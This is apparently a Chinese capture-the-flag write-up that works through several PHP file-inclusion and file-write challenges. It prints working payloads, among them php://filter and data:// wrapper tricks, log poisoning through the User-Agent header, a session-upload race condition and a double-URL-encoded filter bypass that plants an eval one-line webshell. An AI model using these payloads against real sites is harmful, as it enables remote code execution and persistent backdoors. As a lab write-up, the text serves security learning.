php伪协议
payload:
file=php://filter/read=convert.base64-encode/resource=flag.php
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
利用日志文件getshell
payload:file=/var/log/nginx/access.log
打开bp,由于回显了user-agent,所以插入一句话进去执行命令,发现flag在fl0g.php
cat就行
把.都过滤了,所以上面的方法不行了
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
看wp,利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含
可以参考这篇
构造POST包,有一项是
抓包后在里面添加cookie,设置一个sessid位flag,再插入木马执行命令
再抓一个访问/tmp/sess_flag的包,随便设置一个参数用来爆破
两个包都弄好了,再一起爆破去进行条件竞争
得到目录,flag在fl0g.php里面
命令换成cat就行,继续条件竞争,访问到木马,得到flag
过滤了.并且会在里面拼接die,导致语句无法执行
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "".$content);
}else{
highlight_file(__FILE__);
}
file_put_contents()
函数,把后面的字符串写入前面参数里的文件(xxx.php)
php://filter/write=convert.base64-decode/resource=xxx.php
配合上面这个函数使用,把要写入的内容先用base64解码后,再写入xxx.php文件里
要过滤这个die,可以参考p神文章:
由于php被过滤了,但是有一个urldecode,这样就可以把php协议二次编码了
file=php://filter/write=content.base64-decode/resource=123.php,进行二次编码
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
从p神文章中了解到,PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码
所以这里面只有phpdie是会被解码的
由于base64是4个字节一组,而phpdie有六个,所以要给他加两个字母凑足base64的格式
content=aa,里面的php代码进行base64加密
content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
然后网站就生成了一个123.php,里面插入了一句话木马,我们可以通过蚁剑连接
看过滤,可以用data协议,用base64编码
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
当我这样构造命令的时候,base64编码后会有=出现,但是=被过滤
可以在后面加空格,可以把=换掉
payload:data://text/plain:base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/PiAg